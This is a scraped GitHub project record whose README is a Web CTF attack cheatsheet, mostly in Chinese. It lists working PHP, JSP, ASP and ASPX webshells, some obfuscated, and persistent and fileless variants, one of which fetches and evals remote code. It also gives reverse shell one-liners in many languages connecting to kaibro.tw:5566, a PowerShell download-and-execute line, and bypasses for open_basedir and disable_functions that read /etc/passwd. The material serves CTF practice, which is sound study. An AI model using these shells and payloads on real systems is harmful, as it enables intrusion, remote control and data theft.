[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-7895":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":16,"stars30d":17,"stars90d":15,"forks30d":15,"starsTrendScore":18,"compositeScore":19,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":20,"fork":20,"defaultBranch":21,"hasWiki":22,"hasPages":20,"topics":23,"createdAt":10,"pushedAt":10,"updatedAt":26,"readmeContent":27,"aiSummary":28,"trendingCount":15,"starSnapshotCount":15,"syncStatus":18,"lastSyncTime":29,"discoverSource":30},7895,"Web-CTF-Cheatsheet","w181496\u002FWeb-CTF-Cheatsheet","w181496","Web CTF CheatSheet 🐈","",null,"Ruby",2974,577,68,0,3,14,2,30.29,false,"master",true,[24,25],"cheatsheet","ctf","2026-06-12 02:01:46","WEB CTF CheatSheet\n===\n\nTable of Contents\n=================\n\n*  [Webshell](#php-webshell)\n*  [Reverse Shell](#reverse-shell)\n*  [PHP Tag](#php-tag)\n*  [PHP Weak Type](#php-weak-type)\n*  [PHP Feature](#php-其他特性)\n    * [Bypass open\\_basedir](#open_basedir繞過)\n    * [Bypass disable\\_functions](#disable_functions繞過)\n*  [Command Injection](#command-injection)\n    * [Bypass Space](#空白繞過)\n    * [Bypass Keyword](#keyword繞過)\n    * [ImageMagick](#imagemagick)\n    * [Ruby Command Executing](#ruby-command-executing)\n    * [Python Command Executing](#python-command-executing)\n*  [SQL Injection](#sql-injection)\n    * [MySQL](#mysql)\n    * [MSSQL](#mssql)\n    * [Oracle](#oracle)\n    * [SQLite](#sqlite)\n    * [Postgresql](#postgresql)\n    * [MS Access](#ms-access)\n*  [LFI](#lfi)\n*  [Upload](#上傳漏洞)\n*  [Serialization](#反序列化)\n    * [PHP Serialize](#php---serialize--unserialize)\n    * [Python Pickle](#python-pickle)\n    * [Ruby Deserialization](#rubyrails-deserialization)\n    * [Java Serialization](#java-deserialization)\n    * [.NET Serialization](#net-derserialization)\n*  [SSTI \u002F CSTI](#ssti)\n    * [Flask\u002FJinja2](#flaskjinja2)\n    * [Twig\u002FSymfony](#twig--symfony)\n    * [Thymeleaf](#thymeleaf)\n    * [Freemarker](#freemarker)\n    * [Golang](#golang)\n    * [AngularJS](#angularjs)\n    * [Vue.js](#vuejs)\n    * [Python](#python)\n    * [Tool](#tool)\n*  [SSRF](#ssrf)\n    * [Bypass](#bypass-127001)\n    * [Local Expolit](#本地利用)\n    * [Remote Expolit](#遠程利用)\n    * [Metadata](#metadata)\n    * [CRLF Injection](#crlf-injection)\n    * [Finger Print](#fingerprint)\n*  [XXE](#xxe)\n    * [Out of Band XXE](#out-of-band-oob-xxe)\n    * [Error-based XXE](#error-based-xxe)\n*  [Prototype Pollution](#prototype-pollution)\n*  [Frontend](#frontend)\n    * [XSS](#xss)\n    * [RPO](#rpo)\n    * [CSS Injection](#css-injection)\n    * [XS-Leaks](#xs-leaks)\n    * [DOM Clobbering](#dom-clobbering)\n*  [Crypto](#密碼學)\n    * [PRNG](#prng)\n    * [ECB mode](#ecb-mode)\n    * [CBC mode](#cbc-mode)\n    * [Length Extension Attack](#length-extension-attack)\n*  [Others](#其它-1)\n*  [Tools and Website](#tool--online-website)\n    * [Information Gathering](#information-gathering)\n    * [Hash Crack](#hash-crack)\n\n\n# Webshell\n\n## PHP Webshell\n\n```php\n\u003C?php system($_GET[\"cmd\"]); ?>\n\u003C?php system($_GET[1]); ?>\n\u003C?php system(\"`$_GET[1]`\"); ?>\n\u003C?= system($_GET[cmd]);\n\u003C?=`$_GET[1]`;\n\u003C?php eval($_POST[cmd]);?>\n\u003C?php echo `$_GET[1]`;\n\u003C?php echo passthru($_GET['cmd']);\n\u003C?php echo shell_exec($_GET['cmd']);\n\u003C?php eval(str_rot13('riny($_CBFG[cntr]);'));?>\n\u003Cscript language=\"php\">system(\"id\"); \u003C\u002Fscript>\n\n\u003C?php $_GET['a']($_GET['b']); ?>\n\u002F\u002F a=system&b=ls\n\u002F\u002F a=assert&b=system(\"ls\")\n\n\u003C?php array_map(\"ass\\x65rt\",(array)$_REQUEST['cmd']);?>\n\u002F\u002F .php?cmd=system(\"ls\")\n\n\u003C?@extract($_REQUEST);@die($f($c));?>\n\u002F\u002F .php?f=system&c=id\n\n\u003C?php @include($_FILES['u']['tmp_name']);  \n\u002F\u002F 構造 \u003Cform action=\"http:\u002F\u002Fx.x.x.x\u002Fshell.php\" method=\"POST\" enctype=\"multipart\u002Fform-data\">上傳\n\u002F\u002F 把暫存檔include進來\n\u002F\u002F From: http:\u002F\u002Fwww.zeroplace.cn\u002Farticle.asp?id=906\n\n\u003C?php $x=~¾¬¬º­«;$x($_GET['a']); ?>\n\u002F\u002F not backdoor (assert)\n\u002F\u002F .php?a=system(\"ls\")\n\necho \"{${phpinfo()}}\";\n\necho \"${system(ls)}\";\n\necho Y2F0IGZsYWc= | base64 -d | sh\n\u002F\u002F Y2F0IGZsYWc=   =>  cat  flag\n\necho -e \"\u003C?php passthru(\\$_POST[1])?>;\\r\u003C?php echo 'A PHP Test ';\" > shell.php\n\u002F\u002F cat shell.php\n\u002F\u002F \u003C?php echo 'A PHP Test ';\" ?>\n\necho ^\u003C?php eval^($_POST['a']^); ?^> > a.php\n\u002F\u002F Windows echo導出一句話\n\n\u003C?php fwrite(fopen(\"gggg.php\",\"w\"),\"\u003C?php system(\\$_GET['a']);\");\n\n\u003C?php\nheader('HTTP\u002F1.1 404');\nob_start();\nphpinfo();\nob_end_clean();\n?>\n\n\u003C?php \n\u002F\u002F 無回顯後門  \n\u002F\u002F e.g. ?pass=file_get_contents('http:\u002F\u002Fkaibro.tw\u002Ftest')\nob_start('assert');\necho $_REQUEST['pass'];\nob_end_flush();\n?>\n\n\u003C?=\n\u002F\u002F 沒有英數字的webshell\n$💩 = '[[[[@@' ^ '(\"(\u002F%-';\n$💩(('@@['^'#!\u002F').\" \u002F????\");\n\n\nA=fl;B=ag;cat $A$B\n\n```\n\n### webshell駐留記憶體\n\n解法：restart\n```php\n\u003C?php\n    ignore_user_abort(true);  \u002F\u002F 忽略連線中斷\n    set_time_limit(0);  \u002F\u002F 設定無執行時間上限\n    $file = 'shell.php';\n    $code = '\u003C?php eval($_POST[a]);?>';\n    while(md5(file_get_contents($file)) !== md5($code)) {\n        if(!file_exists($file)) {\n            file_put_contents($file, $code);\n        }\n        usleep(50);\n    }\n?>\n\n```\n\n### 無文件webshell\n\n解法：restart\n```php\n\u003C?php  \n    unlink(__FILE__);  \n    ignore_user_abort(true);  \n    set_time_limit(0);  \n    $remote_file = 'http:\u002F\u002Fxxx\u002Fxxx.txt';  \n    while($code = file_get_contents($remote_file)){  \n        @eval($code);  \n        sleep(5);  \n    };  \n\n?>  \n```\n\n\n## JSP Webshell\n\n- 無回顯:\n\n```\n\u003C%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>\n```\n\n- 有回顯:\n\n```\n\u003C%\nif(\"kaibro\".equals(request.getParameter(\"pwd\"))) {\n    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\n    int a = -1;\n    byte[] b = new byte[2048];\n    out.print(\"\u003Cpre>\");\n    while((a=in.read(b))!=-1){\n        out.println(new String(b));\n    }\n    out.print(\"\u003C\u002Fpre>\");\n}\n%>\n```\n- Unicode webshell:\n\n```\n\u003C%\\u0052\\u0075\\u006E\\u0074\\u0069\\u006D\\u0065\\u002E\\u0067\\u0065\\u0074\\u0052\\u0075\\u006E\\u0074\\u0069\\u006D\\u0065\\u0028\\u0029\\u002E\\u0065\\u0078\\u0065\\u0063\\u0028\\u0072\\u0065\\u0071\\u0075\\u0065\\u0073\\u0074\\u002E\\u0067\\u0065\\u0074\\u0050\\u0061\\u0072\\u0061\\u006D\\u0065\\u0074\\u0065\\u0072\\u0028\\u0022\\u0069\\u0022\\u0029\\u0029\\u003B%>\n```\n\n(效果同 `\u003C%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>`)\n\n- JSPX webshell:\n\n```xml\n\u003Cjsp:root xmlns:jsp=\"http:\u002F\u002Fjava.sun.com\u002FJSP\u002FPage\"\n  version=\"1.2\">\n\u003Cjsp:directive.page contentType=\"text\u002Fhtml\"\u002F>\n\u003Cjsp:declaration>\n\u003C\u002Fjsp:declaration>\n\u003Cjsp:scriptlet>\nRuntime.getRuntime().exec(request.getParameter(\"i\"));\n\u003C\u002Fjsp:scriptlet>\n\u003Cjsp:text>\n\u003C\u002Fjsp:text>\n\u003C\u002Fjsp:root>\n```\n\n- CP037 webshell:\n\n```\nLo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25\n```\n\n(效果同上 JSPX webshell: `Runtime.getRuntime().exec(request.getParameter(\"i\"));`)\n\n- EL webshell:\n\n```\n${Runtime.getRuntime().exec(\"touch \u002Ftmp\u002Fpwned\")}\n```\n\n## ASP Webshell\n\n```\n\u003C%eval request(\"kaibro\")%>\n\n\u003C%execute request(\"kaibro\")%>\n\n\u003C%ExecuteGlobal request(\"kaibro\")%>\n\n\u003C%response.write CreateObject(\"WScript.Shell\").Exec(Request.QueryString(\"cmd\")).StdOut.Readall()%>\n\n```\n\n## ASPX Webshell\n\n- 一般:\n\n```\n\u003C%@ Page Language=\"Jscript\"%>\u003C%eval(Request.Item[\"kaibro\"],\"unsafe\");%>\n```\n\n- 上傳:\n\n```\n\u003C%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request[\"f\"]));}%>\n```\n\n\n# Reverse Shell\n\n- 本機Listen Port\n    - `ncat -vl 5566`\n\n- Perl\n    - `perl -e 'use Socket;$i=\"kaibro.tw\";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\u002Fbin\u002Fsh -i\");};'`\n\n- Bash\n    - `bash -i >& \u002Fdev\u002Ftcp\u002Fkaibro.tw\u002F5566 0>&1`\n    - `bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002Fkaibro.tw\u002F5566 0>&1'`\n    - `0\u003C&196;exec 196\u003C>\u002Fdev\u002Ftcp\u002Fkaibro.tw\u002F5566; sh \u003C&196 >&196 2>&196`\n\n- PHP\n    - `php -r '$sock=fsockopen(\"kaibro.tw\",5566);exec(\"\u002Fbin\u002Fsh -i \u003C&3 >&3 2>&3\");'`\n\n- NC\n    - `nc -e \u002Fbin\u002Fsh kaibro.tw 5566`\n\n- Telnet\n    - `mknod backpipe p && telnet kaibro.tw 5566 0\u003Cbackpipe | \u002Fbin\u002Fbash 1>backpipe`\n\n- Python\n    - `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"kaibro.tw\",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\u002Fbin\u002Fsh\",\"-i\"]);'`\n\n- Ruby \n    - `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"kaibro.tw\",\"5566\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'`\n\n- Node.js\n    - `var net = require(\"net\"), sh = require(\"child_process\").exec(\"\u002Fbin\u002Fbash\"); var client = new net.Socket(); client.connect(5566, \"kaibro.tw\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});`\n    - `require('child_process').exec(\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002Fkaibro.tw\u002F5566 0>&1'\");`\n\n- Java\n    - `Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{\"\u002Fbin\u002Fbash\",\"-c\",\"exec 5\u003C>\u002Fdev\u002Ftcp\u002Fkaibro.tw\u002F5278;cat \u003C&5 | while read line; do $line 2>&5 >&5; done\"});p.waitFor();`\n    - `java.lang.Runtime.exec()` payload generator: http:\u002F\u002Fwww.jackson-t.ca\u002Fruntime-exec-payloads.html\n\n- Powershell\n    - `powershell IEX (New-Object System.Net.Webclient).DownloadString('https:\u002F\u002Fraw.githubusercontent.com\u002Fbesimorhino\u002Fpowercat\u002Fmaster\u002Fpowercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd`\n\n# PHP Tag\n\n- `\u003C? ?>`\n    - short_open_tag 決定是否可使用短標記\n    - 或是編譯php時 --enable-short-tags\n- `\u003C?=`\n    - 等價 \u003C? echo\n    - 自`PHP 5.4.0`起，always work!\n- `\u003C% %>`、`\u003C%=`\n    - 自`PHP 7.0.0`起，被移除\n    - 須將`asp_tags`設成On\n- `\u003Cscript language=\"php\"`\n    - 自`PHP 7.0.0`起，被移除\n    - `\u003Cscript language=\"php\">system(\"id\"); \u003C\u002Fscript>`\n\n\n\n# PHP Weak Type\n\n- `var_dump('0xABCdef'       == '     0xABCdef');`\n    * true           (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)\n\n- `var_dump('0010e2'         == '1e3’);`\n    - true\n- `strcmp([],[])`\n    - 0\n- `sha1([])`\n    - NULL\n- `'123' == 123`\n- `'abc' == 0`\n- `'123a' == 123`\n- `'0x01' == 1`\n    - PHP 7.0 後，16 進位字串不再當成數字\n    - e.g `var_dump('0x01' == 1)` => false\n- `'' == 0 == false == NULL`\n- `md5([1,2,3]) == md5([4,5,6]) == NULL`\n    - 可用在登入繞過 (用戶不存在，則 password 為 NULL)\n- `var_dump(md5(240610708));`\n    - 0e462097431906509019562988736854\n- `var_dump(sha1(10932435112));`\n    - 0e07766915004133176347055865026311692244\n- `$a=\"123\"; $b=\"456\"`\n    - `$a + $b == \"579\";`\n    - `$a . $b == \"123456\"`\n\n- `$a = 0; $b = 'x';`\n    - `$a == false` => true\n    - `$a == $b` => true\n    - `$b == true` => true\n\n- `$a = 'a'`\n    - `++$a` => `'b'`\n    - `$a+1` => `1`\n\n\n# PHP 其他特性\n\n## Overflow\n\n- 32位元\n    - `intval('1000000000000')` => `2147483647`\n- 64位元\n    - `intval('100000000000000000000')` => `9223372036854775807`\n\n## 浮點數精度\n\n- `php -r \"var_dump(1.000000000000001 == 1);\"`\n    - false\n\n- `php -r \"var_dump(1.0000000000000001 == 1);\"`\n    - true\n\n- `$a = 0.1 * 0.1; var_dump($a == 0.01);`\n    - false\n\n## ereg會被NULL截斷\n\n- `var_dump(ereg(\"^[a-zA-Z0-9]+$\", \"1234\\x00-!@#%\"));`\n    - `1`\n- `ereg` 和 `eregi` 在 PHP 7.0.0 已經被移除\n\n## intval\n\n- 四捨五入\n    - `var_dump(intval('5278.8787'));`\n        - `5278`\n- `intval(012)` => 10\n- `intval(\"012\")` => 12\n\n## extract變數覆蓋\n\n- `extract($_GET);`\n    - `.php?_SESSION[name]=admin`\n    - `echo $_SESSION['name']` => 'admin'\n\n## trim\n\n- 會把字串前後的空白(或其他字元)去掉\n- 未指定第二參數，預設會去掉以下字元\n    - `\" \"` (0x20)\n    - `\"\\t\"` (0x09)\n    - `\"\\n\"` (0x0A)\n    - `\"\\x0B\"` (0x0B)\n    - `\"\\r\"` (0x0D)\n    - `\"\\0\"` (0x00)\n- 可以發現預設不包含 `\"\\f\"` (0x0C)\n    - 比較：`is_numeric()` 允許 `\\f` 在開頭\n- 如果參數是 unset 或空的變數，回傳值是空字串\n\n## is_numeric\n\n- `is_numeric(\" \\t\\r\\n 123\")` => `true`\n\n- `is_numeric(' 87')` => `true`\n- `is_numeric('87 ')` => `false`\n- `is_numeric(' 87 ')` => `false`\n- `is_numeric('0xdeadbeef')`\n    - PHP >= 7.0.0 => `false`\n    - PHP \u003C 7.0.0 => `true`\n    - 可以拿來繞過注入\n- 以下亦為合法(返回 True)字串:\n    - `' -.0'`\n    - `'0.'`\n    - `' +2.1e5'`\n    - `' -1.5E+25'`\n    - `'1.e5'`\n\n## in_array\n\n- `in_array('5 or 1=1', array(1, 2, 3, 4, 5))`\n    - true\n- `in_array('kaibro', array(0, 1, 2))`\n    - true\n- `in_array(array(), array('kai'=>false))`\n    - true\n- `in_array(array(), array('kai'=>null))`\n    - true\n- `in_array(array(), array('kai'=>0))`\n    - false\n- `in_array(array(), array('kai'=>'bro'))`\n    - false\n- `in_array('kai', array('kai'=>true))`\n    - true\n- `in_array('kai', array('kai'=>'bro'))`\n    - false\n- `in_array('kai', array('kai'=>0))`\n    - true\n- `in_array('kai', array('kai'=>1))`\n    - false\n\n## array_search\n\n- `mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])`\n    - 在 `haystack` 陣列中，搜尋 `needle` 的值，成功則返回 index，失敗返回 False\n- `$strict` 為 false 時，採用不嚴格比較\n    - 預設是 False\n- Example\n    - `$arr=array(1,2,0); var_dump(array_search('kai', $arr))`\n        - `int(2)`\n    - `$arr=array(1,2,0); var_dump(array_search('1', $arr))`\n        - `int(0)`\n\n## parse_str\n- `parse_str(string, array)`\n- 會把查詢字串解析到變數中\n- 如果未設置第二個參數，會解析到同名變數中\n    - PHP7.2 中不設置第二個參數會產生`E_DEPRECATED`警告\n- `parse_str('gg[kaibro]=5566');`\n\n    ```\n    array(1) {\n      [\"kaibro\"]=>\n        string(4) \"5566\"\n    }\n\n    ```\n- PHP 變數有空格和`.`，會被轉成底線\n    \n    ```\n    parse_str(\"na.me=kaibro&pass wd=ggininder\",$test);\n    var_dump($test);\n    \n    array(2) { \n        [\"na_me\"]=> string(6) \"kaibro\" \n        [\"pass_wd\"]=> string(9) \"ggininder\" \n    } \n    ```\n\n\n## parse_url\n\n- 在處理傳入的 URL 會有問題\n- `parse_url('\u002Fa.php?id=1')`\n    \n    ```\n    array(2) {\n      [\"host\"]=>\n        string(5) \"a.php\"\n      [\"query\"]=>\n        string(4) \"id=1\"\n    }\n    ```\n- `parse_url('\u002F\u002Fa\u002Fb')`\n    - host: `a`\n- `parse_url('..\u002F\u002Fa\u002Fb\u002Fc:80')`\n    - host: `..`\n    - port: `80`\n    - path: `\u002F\u002Fa\u002Fb\u002Fc:80`\n- `parse_url('\u002F\u002F\u002Fa.php?id=1')`\n    - false\n\n- `parse_url('\u002Fa.php?id=1:80')`\n     - PHP \u003C 7.0.0\n         - `false`\n     - PHP >= 7.0.0\n       ```\n         array(2) { \n             [\"path\"]=> string(6) \"\u002Fa.php\" \n             [\"query\"]=> string(7) \"id=1:80\" \n         }\n       ```\n\n- `parse_url('http:\u002F\u002Fkaibro.tw:87878')`\n    - 5.3.X版本以下\n        ```php\n        array(3) { \n            [\"scheme\"]=> string(4) \"http\" \n            [\"host\"]=> string(9) \"kaibro.tw\" \n            [\"port\"]=> int(22342) \n        }\n        ```\n    - 其他： false\n\n## preg_replace\n\n- `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )`\n    - 搜尋 `$subject` 中匹配的 `$pattern`，並用 `$replacement` 替換\n- 第一個參數用 `\u002Fe` 修飾符，`$replacement` 會被當成 PHP code 執行\n    - 必須有匹配到才會執行\n    - PHP 5.5.0 起，會產生 `E_DEPRECATED` 錯誤\n    - PHP 7.0.0 不再支援，用 `preg_replace_callback()` 代替\n\nexample:\n\n```php\n\u003C?php\n$a='phpkaibro';\necho preg_replace('\u002F(.*)kaibro\u002Fe','\\\\1info()',$a);\n```\n\n## sprintf \u002F vprintf\n\n- 對格式化字串的類型沒檢查\n- 格式化字串中 % 後面的字元(除了 % 之外)會被當成字串類型吃掉\n    - 例如 `%\\`、`%'`、`%1$\\'`\n    - 在某些 SQLi 過濾狀況下，`%' and 1=1#` 中的單引號會被轉義成 `\\'`，`%\\` 又會被吃掉，`'` 成功逃逸\n    - 原理：sprintf 實作是用 switch...case...\n        - 碰到未知類型，`default` 不處理\n\n## file_put_contents\n\n- 第二個參數如果是陣列，PHP會把它串接成字串\n- example:\n    ```php\n    \u003C?php\n    $test = $_GET['txt'];\n    if(preg_match('[\u003C>?]', $test)) die('bye');\n    file_put_contents('output', $test);\n    ```\n    - 可以直接`?txt[]=\u003C?php phpinfo(); ?>`寫入\n\n## spl_autoload_register\n\n- `spl_autoload_register()` 可以自動載入 Class\n- 不指定參數，會自動載入 `.inc` 和 `.php`\n- Example:\n    - 如果目錄下有 kaibro.inc，且內容為 class Kaibro{...}\n    - 則 `spl_autoload_register()` 會把這個 Class 載入進來\n\n\n## 路徑正規化\n\n- `a.php\u002F.`\n    - `file_put_contents(\"a.php\u002F.\", \"\u003C?php phpinfo() ?>\");`\n        - 可成功寫入\n            - 經測試 Windows 可以覆寫、Linux 無法\n        - 可以繞過一些正規表達式判斷\n    - `file_get_contents(\"a.php\u002F.\");`\n        - 經測試 Windows 下可成功讀、Linux 無法\n    - 還有很多其他 function 也適用\n- `\"` => `.`\n    - `a\"php`\n- `>` => `?`\n    - `a.p>p`\n    - `a.>>>`\n- `\u003C` => `*`\n    - `a.\u003C`\n\n## URL query decode\n- `$_GET` 會對傳入的參數做 URLdecode 再返回\n- `$_SERVER['REQUEST_URI']` 和 `$_SERVER['QUERY_STRING']` 則是直接返回\n\nExample:\n\nRequest: `http:\u002F\u002Fkaibro.tw\u002Ftest.php?url=%67%67`\n    \n* $_GET: `[url] => gg`\n\n* $_SERVER['REQUEST_URI']: `\u002Ftest.php?url=%67%67`\n    \n* $_SERVER['QUERY_STRING']: `url=%67%67`\n\n## OPcache\n\n- 透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能\n- 相關設定在 php.ini 中\n    - `opcache.enable` 是否啟用\n    - `opcache.file_cache` 設定 cache 目錄\n        - 例如:`opcache.file_cache=\"\u002Ftmp\u002Fopcache\"`\n        - `\u002Fvar\u002Fwww\u002Findex.php` 的暫存會放在 `\u002Ftmp\u002Fopcache\u002F[system_id]\u002Fvar\u002Fwww\u002Findex.php.bin`\n    - `opcache.file_cache_only` 設定 cache 文件優先級\n    - `opcache.validate_timestamps` 是否啟用 timestamp 驗證\n- `system_id` 是透過 Zend 和 PHP 版本號計算出來的，可以確保相容性\n- 所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell\n    - system_id 要和目標機器一樣\n    - timestamp 要一致\n- https:\u002F\u002Fgithub.com\u002FGoSecure\u002Fphp7-opcache-override\n    - Disassembler 可以把 Byte code 轉成 Pseudo code\n\n- Example\n    - [0CTF 2018 Qual - EzDoor](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002F0ctf2018_qual\u002FEzDoor)\n\n## PCRE回溯次數限制繞過\n\n- PHP 的 PCRE 庫使用 NFA 作為正規表達式引擎\n    - NFA 在匹配不上時，會回溯嘗試其他狀態\n- PHP 為防止 DOS，設定了 PCRE 回溯次數上限\n    - `pcre.backtrack_limit`\n    - 預設為 `1000000`\n- 回溯次數超過上限時，`preg_match()` 會返回 `false`\n- Example\n    - Code-Breaking Puzzles - pcrewaf\n    - [N1CTF 2019 - sql_manage](https:\u002F\u002Fgithub.com\u002FNu1LCTF\u002Fn1ctf-2019\u002Fblob\u002Fmaster\u002FWEB\u002Fsql_manage\u002FREADME.md)\n\n## open_basedir繞過\n\n- glob 列目錄\n\n```php\n$file_list = array();\n$it = new DirectoryIterator(\"glob:\u002F\u002F\u002F*\");\nforeach($it as $f) {  \n    $file_list[] = $f->__toString();\n}\nsort($file_list);  \nforeach($file_list as $f){  \n    echo \"{$f}\u003Cbr\u002F>\";\n}\n```\n\n- [phuck3](https:\u002F\u002Ftwitter.com\u002FBlaklis_\u002Fstatus\u002F1111586655134203904)\n\n```php\nchdir('img');\nini_set('open_basedir','..');\nchdir('..');chdir('..');\nchdir('..');chdir('..');\nini_set('open_basedir','\u002F');\necho(file_get_contents('flag'));\n```\n\n- symlinks\n\n```php\nmkdir('\u002Fvar\u002Fwww\u002Fhtml\u002Fa\u002Fb\u002Fc\u002Fd\u002Fe\u002Ff\u002Fg\u002F',0777,TRUE);\nsymlink('\u002Fvar\u002Fwww\u002Fhtml\u002Fa\u002Fb\u002Fc\u002Fd\u002Fe\u002Ff\u002Fg','foo');\nini_set('open_basedir','\u002Fvar\u002Fwww\u002Fhtml:bar\u002F');\nsymlink('foo\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F','bar');\nunlink('foo');\nsymlink('\u002Fvar\u002Fwww\u002Fhtml\u002F','foo');\necho file_get_contents('bar\u002Fetc\u002Fpasswd');\n```\n\n- Fastcgi\n    - [link](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002F0ctf2019_qual\u002FWallbreakerEasy)\n\n- ...\n\n## disable_functions繞過\n\n- bash shellshock\n- mail()\n    - `sendmail`\n    - putenv寫LD_PRELOAD\n    - trick: [LD_PRELOAD without sendmail\u002Fgetuid()](https:\u002F\u002Fgithub.com\u002Fyangyangwithgnu\u002Fbypass_disablefunc_via_LD_PRELOAD)\n\n- mb_send_mail()\n    - 跟 mail() 基本上一樣\n\n- imap_mail()\n    - 同上\n\n- imap_open()\n    ```php\n    \u003C?php\n    $payload = \"echo hello|tee \u002Ftmp\u002Fexecuted\";\n    $encoded_payload = base64_encode($payload);\n    $server = \"any -o ProxyCommand=echo\\t\".$encoded_payload.\"|base64\\t-d|bash\";\n    @imap_open('{'.$server.'}:143\u002Fimap}INBOX', '', '');\n    ```\n- error_log()\n    - 第二個參數 `message_type` 為 1 時，會去調用 sendmail\n\n- ImageMagick\n    - [Command Injection](https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F39766)\n    - LD_PRELOAD + ghostscript:\n        - Imagemagick 會用 ghostscript去parse `eps`\n        - [Link](https:\u002F\u002Fbalsn.tw\u002Fctf_writeup\u002F20190323-0ctf_tctf2019quals\u002F#solution-2:-bypass-disable_function-with-ld_preload)\n    - LD_PRELOAD + ffpmeg\n        - [Link](https:\u002F\u002Fhxp.io\u002Fblog\u002F53\u002F0CTF-Quals-2019-Wallbreaker-easy-writeup\u002F)\n    - MAGICK_CODER_MODULE_PATH\n        - > it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory\n        - [Document](https:\u002F\u002Fwww.imagemagick.org\u002Fscript\u002Fresources.php#Environment%20Variables)\n        - [Link](https:\u002F\u002Fgithub.com\u002Fm0xiaoxi\u002FCTF_Web_docker\u002Ftree\u002Fmaster\u002FTCTF2019\u002FWallbreaker_Easy)\n    - MAGICK_CONFIGURE_PATH\n        - `delegates.xml` 定義處理各種文件的規則\n        - 可以用 putenv 寫掉設定檔路徑\n        - [Link](https:\u002F\u002Fxz.aliyun.com\u002Ft\u002F4688#toc-14)\n\n        ```xml\n        \u003Cdelegatemap>\n        \u003Cdelegate decode=\"ps:alpha\" command=\"sh -c &quot;\u002Freadflag > \u002Ftmp\u002Foutput&quot;\"\u002F>\n        \u003C\u002Fdelegatemap>\n        ```\n\n    - 蓋`PATH` + ghostscript:\n        - 造一個執行檔 gs\n\n        ```cpp\n        #include \u003Cstdlib.h>\n        #include \u003Cstring.h>\n        int main() {\n            unsetenv(\"PATH\");\n            const char* cmd = 